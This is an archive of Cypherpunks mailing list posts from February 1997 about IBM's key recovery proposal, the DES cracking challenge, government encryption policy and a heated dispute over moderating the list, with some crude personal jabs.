-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 13:59:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <199702042159.NAA06345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <ptrei@ACM.ORG>
Date: Tue, 4 Feb 1997 07:12:42 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: GAK/KR spin
Message-ID: <199702041512.HAA29212@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Mon, 3 Feb 1997 14:34:49 -0800
> From:          Steve Schear <azur@netcom.com>
> To:            cypherpunks@toad.com
> Subject:       GAK/KR spin

> Several months back there were discussions on the list regarding renaming
> the government's key escrow/recovery proposals (KRAP comes to mind).  I
> think we need something that's catchy and simple (perhaps already familiar)
> to understand for the semi-litterate citizen units.  I propose we encourage
> use of the terms "crippleware" or "crypto crippleware" when refering to the
> products limited to their weak crypto and/or key escrow/recovery.
> 
> --Steve

For some time, I have been using the term 'espionage-enabled 
software' to describe GAK'd products. Also, 'compromised 
software' - I want to make the point that 'key escrow/recovery' == 
insecure.'

Peter Trei
trei@process.com

PS: I have SW for working on the $10,000 DES challenge available.


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 10:05:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES keyspace
Message-ID: <199702041805.KAA02736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone coordinating (formally or informally) which chunks of the
keyspace has been searched for the DES challenge?  Yes, I know all the
arguments about potential fraud and verification, but it would be nice to
have a Web site that informally listed what had been scanned so far
(verified or not).

Did I perhaps miss something and this is already out there?  URLs
appreciated if so.  If it doesn't exist, I'd be willing to host a site and
play coordinator...

Joel






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Tue, 4 Feb 1997 08:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041618.IAA00787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   >(And if Sandy wants comity and good cheer, let him either form
   >his own list or establish a filtered list just the way Blossom
   >and Arachelian did. Hijacking the list to reform it in his own
   >image is dirty pool.) 

Just something from another perspective: I've been on the list for
quite a long time, though I've never posted. I've been online for
over ten years, ran my share of mailing lists, and understand
majordomo quite well.

As far as I can tell, nobody has ever advertised or posted
instructions for joining Blossom's or Arachelian's lists. At one
time I gave a little bit of an effort to find them, to no avail.
They don't seem readily available on the search engines (again, as
of about 6 months ago).

I never did flat out post a request for the information, as it was
not that important for *me* to find it. I imagine that these
individuals might have limited resources for a list-too-large, but
is there really a reason this is request-only info?

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 11:42:47 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041942.LAA04374@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote:
>What I have seen is a pretty complete elimination of the signal that
>was there.  Some might argue that this is "just" because Tim stopped
>posting.  But so what?  The result of moderation was the elimination
>of signal.

Nonsense. The signal had left long before the moderation began. The
steepest drop in signal (not S/N ratio) was between shortly before Perry
left and Vulis had completed his takeover. Signal is cause by signal
generators. Most top signal generators, other than Tim, had left because of
pollution caused by the likes of Vulis, aga, and his homophonic boyfriends.

Moderation has nothing to do with the loss of signal other than that signal
from Tim was lost. And while I appreciated Tim's essays, they were never
the sole source of signal on the list. Tim did not even provide the
majority of signal. "Best individual contributor", sure.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 4 Feb 1997 08:26:36 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041626.IAA00919@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



| A poll last week by the Los Angeles Times found that a majority of people --
| 58 percent -- said they would curtail some civil liberties if it would help
| thwart terrorism. Thirteen percent said it would depend on what rights were
| at stake. The poll didn't ask people to single out any rights.

	Its worth noting the 'if it would help thwart terrorism.'  The
'best,' most expensive anti-terrorism measures ever used in the US
were at the Summer Olympics.  The White House point man on encryption
admitted at last years CFP that Clipper and its derivatives would not
have prevented the Oklahoma city bombing.

	A question worth asking is do we want to apply evolutionary
pressure to terrorists?  I prefer hijacking to bombings wrt aircraft,
but the FAA disagrees.  I prefer having my car stolen without me in
it as well.  (I think John Gilmore asked that question, but I could be
wrong.)

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jproc@bellglobal.com
Date: Tue, 4 Feb 1997 15:20:51 -0800 (PST)
To: Multiple recipients of list <boatanchors@theporch.com>
Subject: BA Crypto Machine Photos
Message-ID: <199702042320.PAA07586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear BA'ers,

Recently, I acquired some BA crypto machine photos courtesy of the Canadian 
Security Establishment. If anyone wants full size, selected, JPEG copies of 
these photos, please let me know and I can send them as attached files to 
E-mail. As a reminder, there are two stories beginning with the same file 
name in the BA archives which accompany the photos.

KL7.JPG     Colour 108 kbytes
KWR37.JPG   B & W   51 kbytes   

BTW, does anyone know the meaning of 'order wire mode' in the context of a 
crypto broadcast? This mode is found in the KWR-37 online crypto 
receiver. Please send all photo requests or responses via private E-mail.

Regards,
-------------------------------------
Jerry Proc VE3FAB
E-mail: jproc@bellglobal.com
HMCS Haida Naval Museum
Toronto, Ontario
'Looking for a 'AN/SRC-501' 
-------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 11:41:07 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: New X-Ray Imager
Message-ID: <199702041941.LAA04345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>
>| A poll last week by the Los Angeles Times found that a majority of
people --
>| 58 percent -- said they would curtail some civil liberties if it would help
>| thwart terrorism. Thirteen percent said it would depend on what rights were
>| at stake. The poll didn't ask people to single out any rights.
>
>	Its worth noting the 'if it would help thwart terrorism.' 

It is irrelevant if terrorism is indeed be thwarted. The public does not
require this to happen. All that matters is to generate the *perception* of
increased security, not to increase security itself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 4 Feb 1997 06:40:53 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=CYPHERPUNKS+40TOAD+2ECOM+3B@chemson.com>
Subject: FW: concerning Ben Franklin
Message-ID: <199702041440.GAA28320@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

>Franklin said "A man owns an ass; he can vote.  The 
>ass dies; he cannot vote.  Who owns the vote?" 

Poor Timmy May must not be able to vote then, as surely his ass must
have been "bashed" to death by now.


Scott.
 
REMEMBER:
	"Dreams are just Screen Savers for the brain"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 10:07:14 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: AltaVista Tunnel
Message-ID: <199702041807.KAA02790@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The Digital / Microsoft "Driving Force" tour is in our parking lot today
and I got the opportunity to have a look around.  One of the 'stations'
inside the truck is on intranets.  They were showing off a product called
"AltaVista Tunnel" which I assume is their PPTP product.  I say "I assume"
because the guy showing it off had absolutely no clue what he was talking
about.  He triumphantly exclaimed that the encryption was 128-bit, but when
I said "128-bit what?" he cowered and muttered that he didn't know and went
on with his little speech.  The rest of my crypto-specific questions met
with equal dark stares.  And these are the people setting industry standards...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Real programmers programs never work right the first time. But if you
throw them on the machine they can be patched into working in only a few
30-hours debugging sessions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Tue, 4 Feb 1997 10:12:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, go to jail
Message-ID: <199702041812.KAA02898@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Think they are trying to expand the harrassment laws to directly effect the E
world, but I would think the laws on harrassment would apply anyhow (provided
your in their domain, but then again thats true for all governments...)

---
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 4 Feb 1997 11:41:08 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041941.LAA04346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
> >| A poll last week by the Los Angeles Times found that a majority of
> people --
> >| 58 percent -- said they would curtail some civil liberties if it would help
> >| thwart terrorism. Thirteen percent said it would depend on what rights were
> >| at stake. The poll didn't ask people to single out any rights.
> >
> >	Its worth noting the 'if it would help thwart terrorism.' 
> 
> It is irrelevant if terrorism is indeed be thwarted. The public does not
> require this to happen. All that matters is to generate the *perception* of
> increased security, not to increase security itself.

Let's remember though that perception of security applies not
only to passengers, but also to potential terrorists. If they *think*
that they would not be able to bring a bomb easily, they would be less
inclined to do so.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 4 Feb 1997 11:42:06 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041942.LAA04370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm another long time list member.  I've posted before on a number of
occasions but not often.  And I was one of those who subscribed immediately
to the unedited list.  Anyway, herein my 2 cents.


John Gilmore writes:

> Tim May said:
> > I don't want Sandy Sandfort sitting in judgment on my
> > posts, deciding what the Cypherpunks--a group I co-founded for God's
> > sake!!!!--are to be allowed to read and what they may not.
> 
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

"Conclusively" this has shown only that most folks are willing to go
along with an experiment -- especially if it requires them to do 
exactly nothing.  The results of the moderation experiment itself
can't possibly be conclusive until the moderation has gone on for
much longer--a few months at least, possibly years.  Then, we'll see
how many people are willing to put up with the high volume over the
long term, even possibly in the absence of thoughtful essays from
long-time list members (like Tim) who have been driven away from the
list.

Even if it "survives" by that criteria, it may not survive in *my*
book.  There are only a handful of people whose posts make the
cypherpunks list worthwhile (IMO of course).  There're quite a few
others who contribute to the discussion but aren't themselves worth
the trouble (no offense intended to anyone; I would certainly count
myself in this group as well).

I don't deny that putting up with the noise on the list takes some
effort.  In fact, after years of surviving with only my 'd' key, I'd
finally been driven to install a procmail filter shortly before
moderation was announced.

Interestingly, since that point, it *has* become more difficult to
filter--but IMO that's because it's also gotten less interesting
(how do you know if you're filtering is successful?).  In fact,
lately I've begun to "filter" *all* of cypherpunks into an alternate
mailbox file, and find that I'm perfectly content to look at it only
every couple of days, and just pick and choose among the posts based
on author and subject.  I don't claim to be representative of the
average cypherpunk, but in my view, this is a bad sign--it indicates
a lack of compelling "content".  It might as well be a Usenet group--I
don't feel like a "member of the Cypherpunks list" anymore.  As the
list stands now, I would hardly even notice (or care) if I were no
longer subscribed.


> I'm definitely bugged by the community's attitude toward my
> "censorship".  Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

Well, I did do something.  When the volume got too high for me to take
unassisted, I installed procmail to tailor the list to my own likings.
Many have been advocating it on the list for years.  I was just too 
lazy to do so until the pain of not having it finally got too high.

As for the signal to noise ratio, John hasn't made it worse, but he
hasn't made it much better either.  No offense is intended--John's 
posts were always at the top of my reputation list--but he posts so
infrequently that he falls into that "not worth subscribing for" group.


What was the problem with the list that finally required that somebody
"do something"?  Sure, the list was high volume.  And there were a
lot of flames and silly useless garbage.  But this is no different
than it has been for years.  And the Vulisgrams were no more (or less)
vicious or annoying than Detweiler's Medusa and S.Boxx rants from the
old days.

(The reason I personally could stand it [without procmail] back then
was that I wasn't on so many *other* mailing lists at the same time.)


> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

Can't we just forget any of this ever came up?  Drop the moderation, 
resubscribe the Vulis 'bot and go on as before.


> PS: Can we talk about crypto too? ...

Sorry, that would be off-topic; this list is only for discussions of
the cypherpunks moderation policy.  Maybe you could post something on
Perry's "cryptography" list though.  (:-)


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vangelis <vangelis@qnis.net>
Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST)
To: sherod@medeserv.com.au
Subject: Re: Full strength Email Clients.
Message-ID: <199702051723.JAA01391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steven Herod wrote:
> 
> Hello, I'm in search of an  *EASY TO USE* Internet Email client
> software that uses full strength (outside US export restriction) RSA 
> encryption.

Private Idaho (for Windoze), without question.  It's freeware, and acts
as an almost seamless front-end to PGP.  I use it all the time w/ my
crpto-aware friends.

http://www.eskimo.com/~joelm/pi.html

-- 
Vangelis <vangelis@qnis.net> /\oo/\
Finger for public key. PGP KeyID 1024/A558B025
PGP Fingerprint AE E0 BE 68 EE 7B CF 04  02 97 02 86 F0 C7 69 25
Life is my religion, the world is my altar.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 4 Feb 1997 15:20:58 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042320.PAA07601@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Boursey writes:
>   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> while back as being nothing more than a corporate whore.  They represent
> the interests of owners not consumers--the ACLU has been very open
> in their critisism of the EFF in this regard.  A large corporation
> waves some money in front of their noses and tells them to bend
> over you can be sure they'll bend over.  

It's not clear from where I sit that the EFF is intrinsically evil.  A
case can be argued for their initial good intentions followed by the
subsequent poisoning of this intent by people with lots of money. Of
course, -any- organization is as susceptable to infiltration as their
weakest member.

> Respectable free speech advocates do not associate with EFF.

If one is going to advocate free speech, I strongly suggest one
learns to deal with one's own greed and one's own need for power
first. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           You possess only what will not be lost in a shipwreck.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST)
To: kooltek@iol.ie
Subject: Re: Ireland: Bid To Ban "Tamper Proof" Phones
Message-ID: <199702051701.JAA00978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the info about the origins of the European GAK
initiative. It would still be interesting to know how much of a hand
the US has had (and continues to have) in influencing the crypto
policies of other countries.

Thanks also for the correction regarding divorce in Ireland.  My
sincere apologies if I offended anybody over there with my "socially
backward" comment.  Ireland is by no means unique even among western
nations in having certain restrictive laws and practices regarding
private social behavior. In general the US is not much better, and
parts (especially the southeast) are probably worse.

It is interesting that you would mention political terrorism and drug
smuggling as prime factors pushing towards GAK in Ireland. The forces
at work in the US government push towards GAK are quite similar.  I am
fond of saying that "national security" and "drugs" have become the
root passwords to the US Constitution...

Question: have there been any problems with the use of strong
encryption (PGP, SSH, etc) on the Internet in Ireland? Is it widely
used over there?

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 14:01:34 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702042201.OAA06395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

	You're making an invalid assumption... namely that people who
stayed on the moderated list are neccessarily wanting it to be the
main list. This isn't the case with me, for instance. I'd also point
out that some of us - including me - were taking the time to take a
look at what happened with the moderated list. On the one hand, it
did result in a decrease in the trash messages... on the other hand,
it also drove away 1+ good posters (TCMay for one).
	As I've said before, I might wind up going with Sandy's (or
some other) filtered list. But changing the name (effectively, to
cypherpunks-unedited) was a bad idea.

>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

	I can see how you might ignore objections from those who
did make the signal/noise get worse... but from those who didn't?
_I_ tried to help you by letting you & Sandy know when something
was going wrong.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete
>suggestions to me about how to get the list back on track.  They
>involved a lot more work than the previous setup.  I told him if he
>was willing to do the work, we could try it.  As Dale suggests, I
>wasn't about to waste my time reading the whole list in real time and
>passing judgement on the postings.  Sandy was, for a month.

	I (and others, I believe) are gratified by y'all's attempts
to help. I just think that you went about it the wrong way.

>Start a mailing list on another site!  Move this list to somewhere!

[...]

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

	Would you be willing to help in starting up a distributed
list? That would appear to solve at least some of the toad.com problems
(keeping it running 24 hours a day, 7 days a week) with which I am
sympathetic.

>If you want to help organize what I'll call the `progressive crypto
>community', for lack of a better term, then please do.  Otherwise, in
>the immortal words of Lazarus Long, "PIPE DOWN!".

	I'm willing to help the _libertarian_ crypto community, to the
limit allowed by my available resources (I'm a grad student). Organize?
I'm not so sure to what degree that's helping. Progressive? I'm not a
liberal. Slight but meaningful difference in terms.

>PS: Can we talk about crypto too?  It's clear from the last few days
>of press releases that the pro-GAK forces are again working to confuse
>novices into thinking that two very different things are the same
>thing.  Last time it was "public key infrastructure" and "key
>recovery".  This time it's "strong crypto" and "56-bit DES".  What
>should we do about this?  Educate the public?

	The public won't listen until 56-bit DES is broken; then,
they can be told that "somebody broke the cryptography used by
banks" and they might listen. In other words, what can be done
is supporting DES-breaking efforts (ideally, via the collection
of different possible keys and their indicators, as someone
had mentioned earlier - sorry, I'm a biologist, not a mathematician,
so I've forgotten the actual terms. It was something that would
essentially enable the near-instant breaking of _any_ DES code after
the competion of the project. My apologies if I've gotten mixed up
on this).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Tue, 4 Feb 1997 13:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042159.NAA06302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 4 Feb 1997, Dale Thorn wrote:

> Scott V. McGuire wrote:
> 
> > (Even within the community, some people are more a part of
> > it than others, and nobody is more a part of it then Tim.)
> 
> Is this like saying "some of the pigs were more equal than the others"?
> 

No, in this case there is not even a pretense of equality.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DAVE HODGINS <dave.hodgins@westonia.com>
Date: Tue, 4 Feb 1997 13:59:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MY DEPARTURE, MODERA
Message-ID: <199702042159.NAA06315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

AB> My main complaints about the `filtering' service forced upon the list
AB> readership are that:
AB> 1. It was done to the main list!  If cypherpunks were left unchanged,
AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it
AB> would be just another filtered list.  However there are already

  As a lurker (I've only sent 4 messages to the list in the last 3 years),
I agree completely with Adam Back's post.

  I'd also like to point out, that I rarely read all of the messages, and
tend to select which messages to read, based on the subject.  Because of
this, I missed the message announcing that the moderation had started, 
and that there was a new, unedited list.  I didn't realize the moderation
had started, until I noticed the lack of autobot insults, and then looked
at some of the messages from the moderation thread.

  I get the list via email, through a pcboard bbs, mixed in with all of
my personal email.  I wrote a program, to separate everything from the
list into separate folder.  Switching over to the unedited list, will
require a bit more for me, then just unsubscribe/subscribe.

  I'll wait and see if the moderation continues on the main list.  If it
does, I'll go through the bother of switching to the unedited list.

  Regards, Dave Hodgins.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Tue, 4 Feb 1997 16:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050027.QAA08784@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>I'm glad we're talking about some of the real issues here.
>
>Tim May said:
>> I don't want Sandy Sandfort sitting in judgment on my
>> posts, deciding what the Cypherpunks--a group I co-founded for God's
>> sake!!!!--are to be allowed to read and what they may not.
>
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

[huge snip]

If I might make a suggestion:

Some people want moderation. That's fine, I've never been very big on
letting other people choose what I read, but some people want it.

For those who want it, let someone moderate the list for as long as
they care to do it. Approved messages get a "X-sandy-approved"
header. The responsibility for setting up a filter to toss everything
that doesn't have the header is the responsibility of the end user.
Toad will need to filter incoming posts to make sure they don't come
"pre-approved", but that's the only hole I can think of.

Everyone gets all of the Cypherpunks list. Those who want moderation
filter the unapproved posts, those who want all of it get all of it.

Hopefully, this will make (almost) everyone happy.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 4 Feb 1997 15:20:47 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Dissolving Choke Points
Message-ID: <199702042320.PAA07578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> 
> 	Hmm... since both you and Bill Stewart are pointing out various
> advantageous things about Usenet, I may need to retract my previous statement
> that mail fitering is better.

You were right initially, I agree that mail filtering has better tools
than news filtering (if you use Unix).

Procmail can do absolutely any filtering, unlike most news readers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:27:09 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050727.XAA18130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Adam writes:
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.

> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value. Moderation is not necessarily censorship. Would you
> criticize the National Coalition Against Censorship for not including in
> their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

JAMA is an example of moderated (good) speech?  Not from where I sit.
Look at the "interview" they published in the spring of 1992 with the
Kennedy autopsy doctors.  Then read about how they twisted the whole
thing (and really didn't interview the doctors) a la 60 minutes.

> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

The drunk can be excluded, but when someone wants to use the drunk as
an example to escalate the exclusion to other persons who are not in
fact drunk, watch out!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:30:01 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050730.XAA18236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> From:   IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

>         You're making an invalid assumption... namely that people who
> stayed on the moderated list are neccessarily wanting it to be the
> main list. This isn't the case with me, for instance. I'd also point
> out that some of us - including me - were taking the time to take a
> look at what happened with the moderated list. On the one hand, it
> did result in a decrease in the trash messages... on the other hand,
> it also drove away 1+ good posters (TCMay for one).

What's really ironic here is that given three people who have knowledge
of crypto/politics and something to say, the lesser two drove the best
one away.  Boo, hiss.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 4 Feb 1997 15:25:53 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: New X-Ray Imager
Message-ID: <199702042325.PAA07697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702041941.LAA04346@toad.com>, on 02/04/97 at 01:19 PM,
   ichudov@algebra.com said:


>Lucky Green wrote:
>> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>> >| A poll last week by the Los Angeles Times found that a majority of
>> people --
>> >| 58 percent -- said they would curtail some civil liberties if it would help
>> >| thwart terrorism. Thirteen percent said it would depend on what rights were
>> >| at stake. The poll didn't ask people to single out any rights.
>> >
>> >	Its worth noting the 'if it would help thwart terrorism.' 
>> 
>> It is irrelevant if terrorism is indeed be thwarted. The public does not
>> require this to happen. All that matters is to generate the *perception* of
>> increased security, not to increase security itself.

>Let's remember though that perception of security applies not only to
>passengers, but also to potential terrorists. If they *think* that they
>would not be able to bring a bomb easily, they would be less inclined to
>do so.

Not really,

The thin vail of "security" that the goverment provides may be good enough
to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential
terrorists will see it for what it is.



- --
